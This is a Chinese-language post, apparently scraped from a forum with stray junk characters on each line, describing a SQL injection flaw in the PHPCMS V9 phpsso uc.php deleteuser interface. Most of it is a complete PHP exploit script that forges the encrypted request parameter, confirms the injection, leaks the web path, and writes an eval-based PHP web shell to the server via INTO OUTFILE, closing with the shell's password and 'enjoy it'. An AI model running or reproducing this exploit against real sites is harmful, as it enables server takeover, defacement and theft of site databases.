PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
7 v+ r3 w! ?. d' g. e) b
- {" \' ^0 R- X( @2 U: e所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 I ?, j8 T6 x \, Z& A
3 C3 W) s1 X9 L! k6 M6 f漏洞分析:
! T! B# V3 ~" ]! I1.未启用ucenter服务的情况下uc_key为空
3 P* p5 s& ~: m5 ?6 A4 fdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
+ E# H) f. X8 X9 b8 c- Q6 k# Z2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 r- g2 }& l+ ]
public function deleteuser($get,$post) {
1 A+ t7 n' E8 m' ~ pc_base::load_app_func('global', 'admin');6 v! y+ L$ R. v2 c; n% S: T
pc_base::load_app_class('messagequeue', 'admin' , 0);; J7 \8 \( D6 I0 L. O1 }
$ids = new_stripslashes($get['ids']);
0 K' A3 i, W$ \/ v $s = $this->member_db->select("ucuserid in ($ids)", "uid");
% i9 _; g; ?2 a3 I7 p [/ _0 C, \SQL语句为
" _" i; @4 A+ F; M: I" D, y. PSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)! i) m9 g3 v% I4 X' L) `" H
5 Y; J d% g1 i3 U9 }2 u
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
1 j6 @4 S! S L1 c: z( }<?php8 j0 E3 f, N" A. S1 R
print_r('6 {1 w) g" b0 b9 T5 s( e7 ~& n
---------------------------------------------------------------------------, A$ F8 R! `7 ~( M. H( U+ c
PHPcms (v9 or Old Version) uc api sql injection 0day3 ?3 K9 F7 B n5 Q
by rayh4c#80sec.com
, d: w& s R! U3 `" `---------------------------------------------------------------------------
3 e5 ?; t6 P% b, x1 _& a: R; s1 _');
" r, a/ f) E7 E+ }3 h0 R; \0 A$ L1 }
if ($argc<3) {
8 B9 K" ?7 f* j print_r('
% k# d0 P9 }/ W- B1 {1 b5 p---------------------------------------------------------------------------9 h3 {+ J( D" s+ r: d6 U
Usage: php '.$argv[0].' host path OPTIONS3 C* }' N( I8 K* |0 r5 U& t
host: target server (ip/hostname)! s; R$ C+ a+ f) m
path: path to phpcms! n% X8 y) `% q. l
Options:
, g; q* x7 N5 s -p[port]: specify a port other than 80
: F3 z: z5 M$ ?8 i \7 T g -P[ip:port]: specify a proxy( d* q* L* e4 U3 s$ p5 c2 q& E
Example:+ H. F2 }) G0 t) }4 m
php '.$argv[0].' localhost /! g# {7 x! V D4 Z S3 N7 ?
php '.$argv[0].' localhost /phpcms/ -p81; n( i8 q0 B- C) ?4 N- X) J6 Y
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) v: m# U7 [8 Y' \---------------------------------------------------------------------------, L" Z0 z0 _1 O4 p
');9 t" N0 b6 m$ M; {3 q4 M
die;& W" p; S# d Z0 B
}
g' u9 ?7 v+ M ^* Q' g6 V& g j m) `* C
error_reporting(7);
+ m' Y! U- e, }. wini_set("max_execution_time",0);
* d' W& v- D. x& i0 M$ e; J3 O3 j- Nini_set("default_socket_timeout",5);
- O1 ] L5 i2 {% |* {" M: e& m/ R
1 s( O" {+ B3 U0 Z7 a6 I \; N# H2 M/ dfunction quick_dump($string)( j S& n1 r( K$ q
{0 z5 N. C# m- ]' s
$result='';$exa='';$cont=0;) Q3 @1 }; s0 I# o# }
for ($i=0; $i<=strlen($string)-1; $i++)
4 M. [8 Q' F5 R6 x4 \ {
8 c3 ?6 e; \0 d- E, l8 U' @ if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )); s2 v O( T5 y# \3 ]9 s. N' P `
{$result.=" .";}
/ b" J0 l% E3 ]5 m else
0 c8 i+ ?) ?! [% q! W! D4 ]/ p+ A/ b {$result.=" ".$string[$i];}! M0 w# l4 ]# A6 `
if (strlen(dechex(ord($string[$i])))==2)
7 { {7 b/ S: p* q" o7 E& H {$exa.=" ".dechex(ord($string[$i]));}2 n. S/ p0 ?0 o2 c3 f
else
+ w' `! b5 h$ U" f) O0 ^; V8 w, ] {$exa.=" 0".dechex(ord($string[$i]));}5 N D( D; }3 |8 g* k; L
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
; y) [7 u! D5 v% W0 c( ` }" z+ |0 `7 h/ O1 X3 Y1 ^
return $exa."\r\n".$result;
0 _9 p8 y6 ?1 h, M' `" G+ U9 `8 C; G0 t}
! B5 D; i" Z8 C3 q4 Q5 Q7 _$ U$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
! f5 I6 t8 @% t% Z* I5 Y
2 G E& z+ m, h/ W9 F( N; jfunction send($packet)
5 F. G* M! ~6 Z! J{
4 r; t2 C% u; L+ ^" R9 D6 O& ] global $proxy, $host, $port, $html, $proxy_regex;
0 _5 n6 ]' w) d if ($proxy=='') {
8 x/ [: i( |, e1 I! r/ r$ [4 t- k $ock=fsockopen(gethostbyname($host),$port);
9 c6 r# e5 F0 k; @ if (!$ock) {: |$ R$ v3 t1 k
echo 'No response from '.$host.':'.$port; die;( b# {6 X k }, c8 k
}. P- W4 T/ i! c. v# z
}+ f* j! p+ p1 u" }4 C5 ~& r
else {5 \3 u& g& G/ O8 Q+ {
$c = preg_match($proxy_regex,$proxy);) M8 q' O+ {7 M) `3 P# L
if (!$c) {
* f9 {$ `. J9 H2 F n echo 'Not a valid proxy...';die;
5 \. U* S; }) ?! s. s5 a5 ] }
# D+ S8 l0 H; k% ]5 ~ $parts=explode(':',$proxy);
$ D0 H I3 v# [$ C' N8 z$ Y $parts[1]=(int)$parts[1];
" k( u! ?5 q: S4 f. W8 ~- o echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
0 m7 l$ u$ c e6 M $ock=fsockopen($parts[0],$parts[1]);
, x+ _. O9 g) Z$ v if (!$ock) {
R; q5 e" \% }! K+ F$ d echo 'No response from proxy...';die;8 A& B; l+ @0 C2 \! L% v: {, O
}
( L+ {7 [" z) \+ Y7 \0 o5 ] }$ t5 R- r/ w6 L. n
fputs($ock,$packet); E7 Y# l/ s6 C6 f4 l
if ($proxy=='') {( }9 p5 p3 _9 r3 i; [
$html='';& o% _) [1 L: _8 _3 D% c$ o# e
while (!feof($ock)) {. Q) `% ?, l9 O" q
$html.=fgets($ock); V8 c* ?' w0 I1 x7 |1 y7 R& A
}2 M# b( q0 c( D5 ~5 L
}
, r, Q6 Y' E' g else {+ w/ e) x' `1 R S
$html='';% j; J2 m! ]; U" H' h
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
! x6 L& a' g6 i' B0 s+ _7 ^. E0 N6 ` $html.=fread($ock,1);4 S0 x& b, |2 Z% M, G7 n' V
}
5 g+ ~4 k, o( S9 J* [( c- [2 B' S9 _ }2 ^$ E$ j2 D7 `9 V$ R, E( \
fclose($ock);
+ k9 R4 {7 q/ T# I8 Q. c9 x}
/ Q. U+ I' i. m# k6 @* K! [6 a, d/ ^& @+ `$ x
$host=$argv[1];
1 A! ~( ]' x3 v5 H2 o$path=$argv[2];
7 h; L& H6 C( o Z$port=80;
1 X$ l/ e2 b! u2 W$proxy="";0 X) U/ p( a) M# K" j+ [+ U
for ($i=3; $i<$argc; $i++){, t* N/ |) a8 S3 |
$temp=$argv[$i][0].$argv[$i][1];0 `) O ^% j$ X1 V
if ($temp=="-p")# p& C! W k+ h3 [& f+ Z7 j4 x
{
9 V! {+ o# k" S3 U3 ~7 k) y: M. E $port=(int)str_replace("-p","",$argv[$i]);7 _; G9 D. ?$ X1 {: ]: s) O! F
}
& x2 f* F) l/ @if ($temp=="-P")
7 F+ H/ e- F+ m$ C) Y{/ B5 K6 u& g# x- W% |+ a3 ~" b
$proxy=str_replace("-P","",$argv[$i]);
0 ^/ B6 q1 `# i8 K, V! D}
7 w5 F2 w3 @, b}7 c ^- O3 {3 t- c, G) y
; Y& e/ W5 U: ~4 | [
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" }5 G' [* c$ H8 a0 k- Nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}8 I! W K, I5 v3 U8 _
( Z6 X: m" p! c% Y# D+ m; \
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
* {( ]% O" {- g V
- a# l, u6 i- G! R) _ n4 k. t $ckey_length = 4;$ y7 B3 R, B/ n% G4 |$ T
, T6 O9 T9 u4 @9 w- i- m b
$key = md5($key ? $key : '');! m! W5 X! ~) X1 K L) s7 G
$keya = md5(substr($key, 0, 16));. U- `: g: X( F+ A; E- b* o
$keyb = md5(substr($key, 16, 16));" v @! V0 m. s! A+ C" N0 L
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';6 y! \! |) ~4 o" i
% X: G( n5 K% K $cryptkey = $keya.md5($keya.$keyc);6 v2 V+ f: C3 B% B# [
$key_length = strlen($cryptkey);& Y0 [& @" M1 V! f6 X) T! j2 d
0 A# g- S4 J+ [* O" i8 U1 S $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
& G3 y2 ^& q" w# w) }( t2 q $string_length = strlen($string);& S, u5 ~. {, I, Z! f
4 s! T6 O9 u! N& \% a: u
$result = '';
# o* Q$ x! \: ?, }* P $box = range(0, 255);
5 V3 D; h0 {' g, K
1 K' r( U5 ], g) m $rndkey = array();
+ `2 ?% j" K. F- [, C7 ^ for($i = 0; $i <= 255; $i++) {
6 p: m D- u1 _2 o0 D1 k$ d $rndkey[$i] = ord($cryptkey[$i % $key_length]);& u! n4 t" Y, f1 o- c* R
}
" i5 m2 S( k; O; Y, X6 X3 J$ X5 @9 l# } x* Z- j( t
for($j = $i = 0; $i < 256; $i++) {
( d9 \$ P+ \, J7 j. j $j = ($j + $box[$i] + $rndkey[$i]) % 256;
6 t( H. v7 Y- L& r y! N $tmp = $box[$i];' w5 {# M5 e0 |9 y! ?; x% E2 A& k
$box[$i] = $box[$j];
) ~. G% I& Y& o/ b! p: T# } $box[$j] = $tmp;
0 v; h/ L# Z: _. d, j }
" ?' m) l8 {0 {- h W) E9 j) p' I7 G) P( r
for($a = $j = $i = 0; $i < $string_length; $i++) {! ~$ d) v& D9 Z$ o& U( ?& K' \
$a = ($a + 1) % 256;
% U& _! N9 B \0 f, d/ | $j = ($j + $box[$a]) % 256;: T0 e$ z9 g" q- Z, A
$tmp = $box[$a];
9 F5 Q$ X! W' T7 k! C' s $box[$a] = $box[$j];
5 J- E) N' f) A& J $box[$j] = $tmp;
' m2 z7 M7 |; v1 d $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
2 K% l' M; Z% E" x8 R* T4 x. V4 D3 h }: r1 n' x9 w- P% i4 [: x7 F. k0 J. n* K
+ v3 E) G) s# m# o! }! r if($operation == 'DECODE') {) ]$ D3 i' v% V2 f$ {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
% p+ M# h/ k2 S3 t0 l I! V' f! X0 V% K( \ return substr($result, 26);
( O" G0 x( @, m8 n, G: Q9 b0 n) o } else {
/ R% `# `1 h& p return '';
$ C7 z: Y, l; W _; ]* v }& ~3 c) R& h3 N$ ]
} else {
# k9 w! R1 P! p' J' P k return $keyc.str_replace('=', '', base64_encode($result));
0 J* e/ C% A) W4 [- O }* a# Y2 r0 Q4 C: V( s
( @/ _# G z( b" h! c1 T% z
}5 S7 ~2 q3 |- I5 y0 G
. [) l6 ?/ S5 K# t$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
! N t. T4 ^1 v5 c$SQL = urlencode(authcode($SQL, "ENCODE", ""));: c6 N# B* H+ F+ a3 ?; | X
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: ~7 E( k- y3 D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
1 }$ N k0 ]' r J$packet.="User-Agent: Mozilla/5.0\r\n";
1 T4 y0 x/ o1 V, v/ k$packet.="Host: ".$host."\r\n";
2 d9 S* p! M' [0 j! G k$packet.="Connection: Close\r\n\r\n";
" q# n9 Q5 K, P$ k( |* `, `send($packet);! E+ h2 `$ e0 C; m
if(strpos($html,"MySQL Errno") > 0){
; t7 h) n& ]0 h* L# hecho "[2] 发现存在SQL注入漏洞"."\n";; A7 ?4 j$ T9 \# R) T7 p
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
) R8 F; j; [" g7 l% ~8 h( g7 T# t( t8 F$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$ x5 K; O( o. ?1 d$packet.="User-Agent: Mozilla/5.0\r\n";
* H3 `/ x- ^8 B3 Q+ a1 v2 }$packet.="Host: ".$host."\r\n";- I4 @7 P4 }' O2 _# _0 q5 I+ R
$packet.="Connection: Close\r\n\r\n";
8 H x5 l' w, W! Asend($packet);5 m/ F: e: b# M$ `! |/ k
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
4 l( d) M9 i- A9 t# Q' M% ?//print_r($matches);
* e. S U7 B0 p) g- E& Sif(!empty($matches)){; K. M2 \/ i2 W: T7 R9 ?+ e
echo "[4] 得到web路径 " . $matches[0]."\n";4 G* }9 x1 D9 ?( l
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";$ `9 r9 f$ c' Q' R" b/ R v
$SQL = "time=999999999999999999999999&ids=1)";
) {! Z# f3 j) ?% ~5 W ~3 U$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
1 C: W9 i2 P7 o. }$SQL.="&action=deleteuser";2 Z' Y: I; M; y% d. t
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 {8 g* m& d$ a5 Q# ^
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" @9 Q& Z* c4 b- x5 k& U' d+ b$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- C P2 t6 Z# @$packet.="User-Agent: Mozilla/5.0\r\n";/ F+ F$ \- |' y$ O" D% B
$packet.="Host: ".$host."\r\n";
" D7 S1 c# V @0 x/ \# ]6 x3 @& t$packet.="Connection: Close\r\n\r\n";
! `% W/ o" q/ vsend($packet);2 D, V2 B0 E/ q& i; O& i# S0 C
if(strpos($html,"Access denied") > 0){. o1 M. B& g$ E6 j
echo "[-] MYSQL权限过低 禁止写入文件 ";
" Z5 |+ J0 y1 u; N% r0 D0 tdie;
, I" d; A& f9 C6 D6 r}
) N- L8 F7 b7 p6 B1 ~2 L9 E$ Fecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 @. C4 O' }8 `$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";$ N. N& K7 y) l# O$ s
$packet.="User-Agent: Mozilla/5.0\r\n";
, m$ V# _# u" [& l) S$packet.="Host: ".$host."\r\n";
$ \7 T5 }- D2 Q. A/ R: ]$packet.="Connection: Close\r\n\r\n";
2 l% e! h) y7 y) A: {send($packet);
1 j" M% I9 `# c& |* x8 Rif(strpos($html,"<title>phpinfo()</title>") > 0){5 j# o+ ^; p; W0 x
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 t; u- I& s V3 m, X/ G0 ?
}
0 d/ R3 D) u* ?/ L; j8 H' d}else{
5 d8 n' `* _0 q5 J5 D5 s& D0 v" xecho "[-]未取到web路径 ";
w+ ?3 s+ E8 _}
, U7 J$ U8 x! |/ t, t$ ?2 e}else{5 O3 e9 V1 w/ q) T% y$ T' k! }
echo "[*]不存在SQL注入漏洞"."\n";
1 G( D1 e# g& W5 o3 P" t- N}" q8 w+ I, g7 ~) s, b1 {/ ?: p
( z" x1 O: r7 u* {, J! X! ^
?>
' Y- N2 }3 {: x+ K$ g( [ |